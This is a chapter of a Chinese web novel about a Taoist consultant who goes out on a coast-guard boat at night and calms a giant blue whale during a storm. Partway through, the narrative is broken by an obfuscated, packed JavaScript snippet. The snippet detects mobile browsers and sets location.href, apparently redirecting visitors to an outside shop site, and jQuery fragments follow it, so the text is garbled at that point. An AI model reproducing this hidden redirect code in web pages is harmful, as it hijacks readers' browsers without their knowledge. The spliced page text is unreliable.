19. 十九
作品:《老祖宗持证直播算命》 高雾走到窗边,眯着眼瞧了好一会儿,还是只能看到一片漆黑。
“那儿有什么?要不你告诉我,我提醒一下张奇他们。”
池惊鹊思索道:“不,你问问他们,是不是出了什么事。”
高雾打了一半的字又删光,按照池惊鹊所说的,询问张奇那里有没有收到什么海上的消息。
张奇过了几分钟回复道:有!是不是秦教官和池顾问发现什么了?!
张奇:收到了海上一艘渔船的求救消息,因为最近海上的怪事太多,海警请求我们一起出海
张奇:我们刚出来,要不,我们去接一下池顾问和秦教官?
他在试探,毕竟带上两个大师,他也能安心点。
高雾一边询问池惊鹊的意见,一边打字回复。
高雾:现在不是休渔期吗?怎么还有渔船出海?
张奇:我们这边休渔期结束得比较早,前两天刚解禁呢
高雾:那你过来酒店吧,池顾问答应一起出海了
张奇:行!那秦教官去不去,要不你也帮忙问下
高雾:不用,池顾问去的话,秦老师肯定也去
张奇:啊?原来如此,我懂了
高雾好歹也认识秦远寂几年了,若是以前,她还真不敢打包票,可自从遇到池惊鹊后,秦远寂简直和从前完全不是一个人,之前也算得上是一个高冷大帅哥,可远观而不可亵玩,现在嘛,就不好说了。
池惊鹊和高雾简单收拾了下房间里刚刚被震落的杂物,出门时才去敲了隔壁的门,不出高雾所料,一听池惊鹊要出海,秦远寂二话不说就跟上来了。
在酒店门口等了一会儿,张奇便开车过来接上了三人。
高雾坐在副驾驶,一上车,张奇便笑呵呵道:“我还以为你不来呢。”
高雾白了他一眼:“我带出来的人,当然得看好了,你其他的队员呢?”
“他们先去船上了,接你们我一个人就行了,坐稳了,出发咯。”张奇说着,一脚踩下油门。
来到出海的港口,张奇熟练地带人登上海警船,船上的人也和他打着招呼,似乎双方很熟悉。
池惊鹊和秦远寂一上船,便吸引了大部分人探究的目光,池惊鹊恍若未觉,走到栏杆眺望远方的大海。
海上生明月,本该是诗情画意的场景,可那一片漆黑又望不到边际的海域,却莫名让人心生恐惧。
“怎么了?发现什么了?”高雾已经穿上了救生衣,又拿了一件给池惊鹊,“先穿上救生衣吧,毕竟是出海,就算会游泳,也要小心点。”
池惊鹊很少拒绝什么,这次却推开了救生衣:“不必,我不会落水的。”
高雾微微皱眉,想起酒店中的那一幕,犹豫过后还是没有勉强池惊鹊,她要信任自己的同伴,哪怕这种信任,有时候会显得盲目。
另一边,秦远寂也拒绝了张奇的救生衣,张奇不知道这两人到底有多厉害,还有些担心地想要劝说,却被回来的高雾制止。
秦远寂也只是在遇见池惊鹊后变得更外放了些,骨子里还是那个犟种,高雾很清楚,秦远寂也不是一个能被他人左右决定的人。
将救生衣放回原处,高雾深深叹了口气,跟着这两位,倒是能见识不少,就是实在让人提心吊胆。
见两人不穿救生衣,海警们也颇有微词,倒不是不满他们特殊待遇,只是担心,这毕竟是总局来的人,万一出个什么事可怎么办,说不定还要连累他们也受罚。
对此,张奇只能尽力安抚,上半年开始,他就跟着海警们频繁出海,和他们一起救下过不少渔民,也算是结下了深厚的战友情谊,他的话,还是有些分量的。
“池顾问是不是发现什么了?”见池惊鹊从上船后,就一直站在栏杆边看海,张奇不禁问高雾。
高雾摇摇头:“不知道,池顾问的行为一向很难猜,如果你想知道,建议直接问,她脾气挺好的,也不想秦老师一样喜欢嘴欠。”
“我什么时候嘴欠了?”秦远寂在他们两个的背后悠悠问道。
高雾吓得一个激灵,心道果然不能在背后说人,这不就被抓到了。
不过她知道秦远寂不是会计较这种话的人,于是连忙转移了话题:“在酒店里,池顾问好像说海里有东西,秦老师,你看到过吗?”
秦远寂望了一眼如今看起来风平浪静的海面:“没有,但是我的直觉告诉我,海里确实有些不一样的东西,而且不止一个。”
张奇的脸色立刻严肃起来:“我现在就去告诉其他人,让他们都小心点。”
“等等,不用去。”秦远寂道,“我刚刚已经和他们说过了。”
“诶?他们信你?”张奇惊讶道。
秦远寂双手抱臂,得意道:“打又打不过我,当然只能信我。”
高雾:“……”
“出门在外,秦老师还是少打架的好。”
秦远寂冷哼一声:“我有分寸,不会真动手的。”
高雾有些头疼地揉了揉眉心,这两个大师,也是一个比一个难带。
船只在海上行驶了一个多小时,明明船体并不小,但在这茫茫海域中,仍像是一粒微不足道的砂砾,渺小,无力,除了漂泊,似乎什么都做不了。
池惊鹊在这一个多小时里,并没有一直站在原地,而是缓缓地走到了甲板最前方,迎着海风,披星戴月,她感受到了一股磅礴的灵力。
这片海域的灵气分布并不均匀,就好像是有什么东西将诸多灵气聚集在自己的附近,方便自己的修炼。
可如今天地灵气并不充裕,这海上居然有东西能做到这一点?
就在池惊鹊思考之时,高雾跑了上来,拉住她的手就往船里跑:“快进去吧,他们说就要到今年事故频发的海域范围了,这里经常无故起风浪,不少渔船还没到深海就得折返,待在外面,容易被一个浪拍死。”
池惊鹊没有与之对抗,顺从地被拉入了船舱之内,只是辩驳了一句:“再大的浪,也拍不死我。”
高雾用哄孩子一样的语气道:“好好好,我知道我们池顾问最厉害了。”
高雾拉着池惊鹊在船舱大厅里坐下,两人都系上了椅子上的安全带,张奇和他的队员们也都在这里,只是神色不太好,秦远寂靠在窗边,眼中也隐隐有些担忧。
沉默在大厅里蔓延,张奇感受到了气氛的压抑,清了清嗓子开口:“高科,你们也别担心,我也不是头一次遇到风浪了,这不也好好地活着,问题不大。”
池惊鹊看了他一眼:“你命确实挺硬的,所以我才给你开了阴阳眼,你很适合见鬼。”
张奇:“……”总觉得听起来又像夸他,又像骂他的。
“来了!”依靠在窗边的秦远寂忽然直起身,大声提醒,却又带着些疑惑,“那是,是蓝鲸?!”
他话音一落,整艘船猛烈摇晃起来,所有人都能看到窗外仿佛能遮天蔽日的海浪,狠狠地朝着船身拍打过来。
张奇和他的队员们熟练地抓住附近的固定物,稳住自己的身形,高雾也学着他们的样子,上半身扣在桌子上,轻易不会被甩出去。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314910|198860||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“都这样了?还没到求救船只发送信号的地点吗?”秦远寂只是单手扶着墙就稳住了身形,问道。
“只要没停,就是没到!”张奇大声回应道。
这时,池惊鹊解开了安全带,高雾连忙想伸手抓住她,池惊鹊轻巧避开,如履平地般走到秦远寂身旁,看向窗外。
只见黑沉沉的夜色中,只能借着月光和船只上的灯光看到那铺天盖地而来的巨浪,和巨浪中若隐若现的庞大身影。
“是蓝鲸。”只一眼,池惊鹊便确定了那巨物的身份,“太大了,不像是普通的蓝鲸。”
“难道是生了灵智的蓝鲸?可是天地灵气不足,按理来说,如今不会有开灵智的动物啊。”秦远寂不解道。
池惊鹊略一思索道:“你守好这里的人,我去和它沟通试试。”
“行,你自己小心点。”秦远寂果断道,池惊鹊比他强,他没必要自己逞强,听话便是。
见池惊鹊朝舱门走去,张奇有些着急:“池顾问,外面危险啊!”
池惊鹊头也不回地说:“无妨,伤不到我。”
张奇望着她挺拔的背影,如同不可撼动的高山,又如明明柔软却可翻天覆地的水。
守在舱门口的两名海警拦住了池惊鹊,他们习惯于这样的颠簸,身上也做了安全措施,只是在这样的情形之下,他们不可能让这舱内的任何一个人走到甲板上去。
太危险了,他们带上来的人,他们也想要全须全尾地带回去,如非必要,没有人会希望同伴牺牲。
但在绝对的实力面前,阻拦是没有用的,他们伸手想拉池惊鹊,却连碰都碰不到他,愣神之际,池惊鹊就已经打开了舱门,她一出去,舱门便自动关上,隔绝了所有人或复杂或探究或担心的视线。
两名海警反应过来,虽然意识到了池惊鹊的不同凡响之处,但仍然愤怒地对张奇道:“张队!这就是你带来的人?在这种大风浪的时候,不听指挥,独自跑到甲板上去,万一被浪带走了怎么办?我们就算搜救都不一定找得到!”
张奇趁着风浪暂缓之际,抬起头,这种时候,也只能硬撑到底了,他咬咬牙,打包票道:“放心吧,池顾问厉害得很,这点风浪,不在话下!”
风吹乱了池惊鹊鬓边的发,那看起来可怕的浪拍在甲板上,却连一滴海水都落不到池惊鹊身上。
她走到甲板的最前方,身影稳如泰山,在混乱的风浪中岿然不动,她轻轻抬起手,指尖金光大作,一条条金线像是被什么指引着,穿过那上百米的巨浪,找到了那隐于海浪中的庞然大物。
一刹那,海浪落下,再未掀起,狂风骤然变得温柔起来,亲昵地吹拂过池惊鹊的耳畔,如同深海在她耳边低语。
而在船舱之内的众人,只觉得风浪忽然平息下来,船只也不再像之前晃得那样猛烈。
张奇直起身,松了一口气,还不忘得意道:“你们看,我就说池顾问没问题!”
两名海警半信半疑地解开了身上的安全扣,另一边的门里则是忽然跑出好几名海警来,脸上写满了震惊:“快,快去甲板上看看,好像是一只巨大的蓝鲸,比我们的船还要大好几倍!”
众人连忙打开舱门,抬眼望去,只见一只蓝鲸浮出海面,它的身躯如同一座海上高山般巍峨,一眼看不到尽头,不需要它做什么,仅仅只是存在,就能让人感受到强烈的压迫感。
而在它的面前,池惊鹊一身红衣如火,悬停在半空中,裙摆猎猎,流光溢彩,她指尖轻轻点在蓝鲸身上,四周金光流转,仿若一场盛大又圣洁的仪式。

